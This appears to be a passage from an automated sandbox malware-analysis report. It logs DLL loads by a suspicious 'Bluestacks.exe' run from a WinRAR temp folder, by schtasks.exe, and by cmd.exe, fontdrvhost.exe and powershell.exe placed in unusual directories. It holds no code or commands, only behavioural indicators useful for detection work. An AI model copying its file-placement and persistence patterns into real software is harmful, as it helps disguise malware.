              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ktmw32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: rasapi32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: rasman.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: rtutils.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: schannel.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: mskeyprotect.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ntasn1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ncryptsslp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: windowscodecs.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: dlnashext.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: wpdshext.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: mscoree.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: apphelp.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: version.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: uxtheme.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: windows.storage.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: wldp.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: profapi.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: cryptsp.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: rsaenh.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: cryptbase.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: sspicli.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: mscoree.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: version.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: uxtheme.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: windows.storage.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: wldp.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: profapi.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: cryptsp.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: rsaenh.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: cryptbase.dll
              Source: C:\Windows\ShellComponents\cmd.exeSection loaded: sspicli.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: mscoree.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: apphelp.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: kernel.appcore.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: version.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: uxtheme.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: windows.storage.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: wldp.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: profapi.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: cryptsp.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: rsaenh.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: cryptbase.dll
              Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
